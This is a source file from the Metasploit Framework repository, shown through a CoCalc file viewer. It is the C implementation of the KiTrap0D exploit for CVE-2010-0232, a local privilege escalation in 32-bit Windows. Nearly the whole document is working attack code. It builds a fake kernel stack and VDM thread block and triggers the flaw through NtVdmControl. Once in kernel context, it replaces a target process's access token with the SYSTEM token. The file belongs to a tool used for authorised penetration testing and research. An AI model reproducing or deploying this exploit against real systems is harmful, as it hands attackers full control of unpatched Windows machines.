CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2010-0232/kitrap0d_payload/kitrap0d.c
Views: 11784
1
/*!
2
* @file kitrap0d.c
3
* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
4
* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
5
*/
6
7
#ifndef WIN32_NO_STATUS
8
# define WIN32_NO_STATUS
9
#endif
10
#include <windows.h>
11
#include <stdio.h>
12
#include "../common/common.h"
13
#include "kitrap0d.h"
14
#include <winerror.h>
15
#include <winternl.h>
16
#include <stddef.h>
17
#ifdef WIN32_NO_STATUS
18
# undef WIN32_NO_STATUS
19
#endif
20
#include <ntstatus.h>
21
22
#ifdef _WIN64
23
24
/*
25
* This is not implemented for the x64 build.
26
*/
27
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )
28
{
29
return;
30
}
31
32
#else
33
34
/*! * @brief Global target process ID. */
35
static DWORD dwTargetProcessId = 0;
36
/*! * @brief Global pointer to the kernel stack. */
37
static DWORD * lpKernelStackPointer = NULL;
38
/*! * @brief Global reference to the kernel itself. */
39
static HMODULE hKernel = NULL;
40
41
/*!
42
* @brief Find an exported kernel symbol by name.
43
* @param SymbolName The name of the symbol to find.
44
* @returns Pointer to the symbol, if found.
45
*/
46
PVOID elevator_kitrap0d_kernelgetproc(PSTR SymbolName)
47
{
48
PUCHAR ImageBase = NULL;
49
PULONG NameTable = NULL;
50
PULONG FunctionTable = NULL;
51
PUSHORT OrdinalTable = NULL;
52
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
53
PIMAGE_DOS_HEADER DosHeader = NULL;
54
PIMAGE_NT_HEADERS PeHeader = NULL;
55
DWORD i = 0;
56
57
ImageBase = (PUCHAR)hKernel;
58
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
59
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
60
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + PeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
61
62
// Find required tables from the ExportDirectory...
63
NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
64
FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
65
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
66
67
// Scan each entry for a matching name.
68
for (i = 0; i < ExportDirectory->NumberOfNames; i++)
69
{
70
PCHAR Symbol = ImageBase + NameTable[i];
71
72
if (strcmp(Symbol, SymbolName) == 0)
73
{
74
// Symbol found, return the appropriate entry from FunctionTable.
75
return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
76
}
77
}
78
79
// Symbol not found, this is likely fatal :-(
80
return NULL;
81
}
82
83
/*!
84
* @brief Replace a value if it falls between a given range.
85
*/
86
BOOL elevator_kitrap0d_checkandreplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value)
87
{
88
if (*checkMe >= rangeStart && *checkMe <= rangeEnd)
89
{
90
*checkMe = value;
91
return TRUE;
92
}
93
94
return FALSE;
95
}
96
97
/*!
98
* @brief Search the specified data structure for a member with CurrentValue.
99
*/
100
BOOL elevator_kitrap0d_findandreplace( PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize, BOOL ObjectRefs)
101
{
102
DWORD i = 0;
103
DWORD Mask = 0;
104
105
// Microsoft QWORD aligns object pointers, then uses the lower three
106
// bits for quick reference counting (nice trick).
107
Mask = ObjectRefs ? ~7 : ~0;
108
109
// Mask out the reference count.
110
CurrentValue &= Mask;
111
112
// Scan the structure for any occurrence of CurrentValue.
113
for( i = 0 ; i < MaxSize ; i++ )
114
{
115
if( (Structure[i] & Mask) == CurrentValue )
116
{
117
// And finally, replace it with NewValue.
118
Structure[i] = NewValue;
119
return TRUE;
120
}
121
}
122
123
// Member not found.
124
return FALSE;
125
}
126
127
/*!
128
* @brief This routine is where we land after successfully triggering the vulnerability.
129
*/
130
#pragma warning(disable: 4731)
131
VOID elevator_kitrap0d_firststage(VOID)
132
{
133
FARPROC DbgPrint = NULL;
134
FARPROC PsGetCurrentThread = NULL;
135
FARPROC PsGetCurrentThreadStackBase = NULL;
136
FARPROC PsGetCurrentThreadStackLimit = NULL;
137
FARPROC PsLookupProcessByProcessId = NULL;
138
FARPROC PsReferencePrimaryToken = NULL;
139
FARPROC ZwTerminateProcess = NULL;
140
PVOID CurrentThread = NULL;
141
PVOID TargetProcess = NULL;
142
PVOID * PsInitialSystemProcess = NULL;
143
HANDLE pret = NULL;
144
DWORD StackBase = 0;
145
DWORD StackLimit = 0;
146
DWORD NewStack = 0;
147
DWORD i = 0;
148
DWORD dwEThreadOffsets[] = {
149
0x6, // WinXP SP3, VistaSP2
150
0xA // Windows 7, VistaSP1
151
};
152
153
// Keep interrupts off until we've repaired the KTHREAD.
154
__asm cli
155
156
// Resolve some routines we need from the kernel export directory
157
DbgPrint = elevator_kitrap0d_kernelgetproc("DbgPrint");
158
PsGetCurrentThread = elevator_kitrap0d_kernelgetproc("PsGetCurrentThread");
159
PsGetCurrentThreadStackBase = elevator_kitrap0d_kernelgetproc("PsGetCurrentThreadStackBase");
160
PsGetCurrentThreadStackLimit = elevator_kitrap0d_kernelgetproc("PsGetCurrentThreadStackLimit");
161
PsInitialSystemProcess = elevator_kitrap0d_kernelgetproc("PsInitialSystemProcess");
162
PsLookupProcessByProcessId = elevator_kitrap0d_kernelgetproc("PsLookupProcessByProcessId");
163
PsReferencePrimaryToken = elevator_kitrap0d_kernelgetproc("PsReferencePrimaryToken");
164
ZwTerminateProcess = elevator_kitrap0d_kernelgetproc("ZwTerminateProcess");
165
166
CurrentThread = (PVOID)PsGetCurrentThread();
167
StackLimit = (DWORD)PsGetCurrentThreadStackLimit();
168
StackBase = (DWORD)PsGetCurrentThreadStackBase();
169
170
NewStack = StackBase - ((StackBase - StackLimit) / 2);
171
172
// First we need to repair the CurrentThread, find all references to the fake kernel
173
// stack and repair them. Note that by "repair" we mean randomly point them
174
// somewhere inside the real stack.
175
176
// Walk only the offsets that could possibly be bad based on testing, and see if they need
177
// to be swapped out. O(n^2) -> O(c) wins the race!
178
for (i = 0; i < sizeof(dwEThreadOffsets) / sizeof (DWORD); i++) {
179
elevator_kitrap0d_checkandreplace((((PDWORD)CurrentThread) + dwEThreadOffsets[i]), (DWORD)&lpKernelStackPointer[0], (DWORD)&lpKernelStackPointer[KSTACKSIZE - 1], (DWORD)NewStack);
180
}
181
182
// Find the EPROCESS structure for the process we want to escalate
183
if (PsLookupProcessByProcessId(dwTargetProcessId, &TargetProcess) == STATUS_SUCCESS)
184
{
185
PACCESS_TOKEN SystemToken = NULL;
186
PACCESS_TOKEN TargetToken = NULL;
187
188
// What's the maximum size the EPROCESS structure is ever likely to be?
189
CONST DWORD MaxExpectedEprocessSize = 0x200;
190
191
// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
192
//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);
193
194
// Find the Token object for my target process, and the SYSTEM process.
195
TargetToken = (PACCESS_TOKEN)PsReferencePrimaryToken(TargetProcess);
196
197
SystemToken = (PACCESS_TOKEN)PsReferencePrimaryToken(*PsInitialSystemProcess);
198
199
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
200
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);
201
202
// Find the token in the target process, and replace with the system token.
203
elevator_kitrap0d_findandreplace((PDWORD)TargetProcess, (DWORD)TargetToken, (DWORD)SystemToken, MaxExpectedEprocessSize, TRUE);
204
205
// Success
206
pret = (HANDLE)'w00t';
207
}
208
else
209
{
210
// Maybe the user closed the window?
211
// Report this failure
212
pret = (HANDLE)'LPID';
213
}
214
215
__asm
216
{
217
mov eax, -1 // ZwCurrentProcess macro returns -1
218
mov ebx, NewStack
219
mov ecx, pret
220
mov edi, ZwTerminateProcess
221
mov esp, ebx // Swap the stack back to kernel-land
222
mov ebp, ebx // Swap the frame pointer back to kernel-land
223
sub esp, 256
224
push ecx // Push the return code
225
push eax // Push the process handle
226
sti // Restore interrupts finally
227
call edi // Call ZwTerminateProcess
228
__emit 0xCC; // Hope we never end up here
229
};
230
231
}
232
#pragma warning(default: 4731)
233
234
/*!
235
* @brief Setup a minimal execution environment to satisfy NtVdmControl().
236
*/
237
BOOL elevator_kitrap0d_initvdmsubsystem(VOID)
238
{
239
DWORD dwResult = ERROR_SUCCESS;
240
FARPROC pNtAllocateVirtualMemory = NULL;
241
FARPROC pNtFreeVirtualMemory = NULL;
242
FARPROC pNtVdmControl = NULL;
243
PBYTE BaseAddress = (PVOID)0x00000001;
244
HMODULE hNtdll = NULL;
245
ULONG RegionSize = 0;
246
static DWORD TrapHandler[128] = { 0 };
247
static DWORD IcaUserData[128] = { 0 };
248
249
static struct {
250
PVOID TrapHandler;
251
PVOID IcaUserData;
252
} InitData;
253
254
do
255
{
256
hNtdll = GetModuleHandle("ntdll");
257
if (!hNtdll) {
258
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER);
259
}
260
261
pNtAllocateVirtualMemory = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
262
pNtFreeVirtualMemory = GetProcAddress(hNtdll, "NtFreeVirtualMemory");
263
pNtVdmControl = GetProcAddress(hNtdll, "NtVdmControl");
264
265
if (!pNtAllocateVirtualMemory || !pNtFreeVirtualMemory || !pNtVdmControl) {
266
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. invalid params", ERROR_INVALID_PARAMETER);
267
}
268
269
InitData.TrapHandler = TrapHandler;
270
InitData.IcaUserData = IcaUserData;
271
272
// Remove anything currently mapped at NULL
273
pNtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
274
275
BaseAddress = (PVOID)0x00000001;
276
RegionSize = (ULONG)0x00100000;
277
278
// Allocate the 1MB virtual 8086 address space.
279
if (pNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
280
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtAllocateVirtualMemory failed", 'NTAV');
281
}
282
283
// Finalise the initialisation.
284
if (pNtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
285
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. NtVdmControl failed", 'VDMC');
286
}
287
288
return TRUE;
289
290
} while (0);
291
292
ExitThread(dwResult);
293
294
return FALSE;
295
}
296
297
/*!
298
* @brief CVE-2010-0232 implementation.
299
*/
300
VOID elevator_kitrap0d(DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset)
301
{
302
DWORD dwResult = ERROR_SUCCESS;
303
FARPROC pNtVdmControl = NULL;
304
HMODULE hNtdll = NULL;
305
DWORD dwKernelStack[KSTACKSIZE] = { 0 };
306
VDMTIB VdmTib = { 0 };
307
DWORD dwMinimumExpectedVdmTibSize = 0x200;
308
DWORD dwMaximumExpectedVdmTibSize = 0x800;
309
310
do
311
{
312
dprintf("[KITRAP0D] elevator_kitrap0d. dwProcessId=%d, dwKernelBase=0x%08X, dwOffset=0x%08X", dwProcessId, dwKernelBase, dwOffset);
313
314
memset(&VdmTib, 0, sizeof(VDMTIB));
315
memset(&dwKernelStack, 0, KSTACKSIZE * sizeof(DWORD));
316
317
// XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk.
318
// With a buffer full of NULLs, the exploit never finds the right size.
319
// This will require a more work to resolve, for just keep the padding zero'd
320
321
hNtdll = GetModuleHandle("ntdll");
322
if (!hNtdll) {
323
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER);
324
}
325
326
pNtVdmControl = GetProcAddress(hNtdll, "NtVdmControl");
327
if (!pNtVdmControl) {
328
BREAK_ON_ERROR("[KITRAP0D] elevator_kitrap0d. GetProcAddress NtVdmControl failed");
329
}
330
331
dwTargetProcessId = dwProcessId;
332
333
// Setup the fake kernel stack, and install a minimal VDM_TIB...
334
lpKernelStackPointer = (DWORD *)&dwKernelStack;
335
dwKernelStack[0] = (DWORD)&dwKernelStack[8]; // ESP
336
dwKernelStack[1] = (DWORD)NtCurrentTeb(); // TEB
337
dwKernelStack[2] = (DWORD)NtCurrentTeb(); // TEB
338
dwKernelStack[7] = (DWORD)elevator_kitrap0d_firststage; // RETURN ADDRESS
339
hKernel = (HMODULE)dwKernelBase;
340
VdmTib.Size = dwMinimumExpectedVdmTibSize;
341
*NtCurrentTeb()->Reserved4 = &VdmTib;
342
343
// Initialize the VDM Subsystem...
344
elevator_kitrap0d_initvdmsubsystem();
345
346
VdmTib.Size = dwMinimumExpectedVdmTibSize;
347
VdmTib.VdmContext.SegCs = 0x0B;
348
VdmTib.VdmContext.Esi = (DWORD)&dwKernelStack;
349
VdmTib.VdmContext.Eip = dwKernelBase + dwOffset;
350
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
351
*NtCurrentTeb()->Reserved4 = &VdmTib;
352
353
// Allow thread initialization to complete. Without is, there is a chance
354
// of a race in KiThreadInitialize's call to SwapContext
355
Sleep(1000);
356
357
// Trigger the vulnerable code via NtVdmControl()...
358
while (VdmTib.Size++ < dwMaximumExpectedVdmTibSize) {
359
pNtVdmControl(VdmStartExecution, NULL);
360
}
361
362
} while (0);
363
364
// Unable to find correct VdmTib size.
365
ExitThread('VTIB');
366
}
367
368
#endif
369
370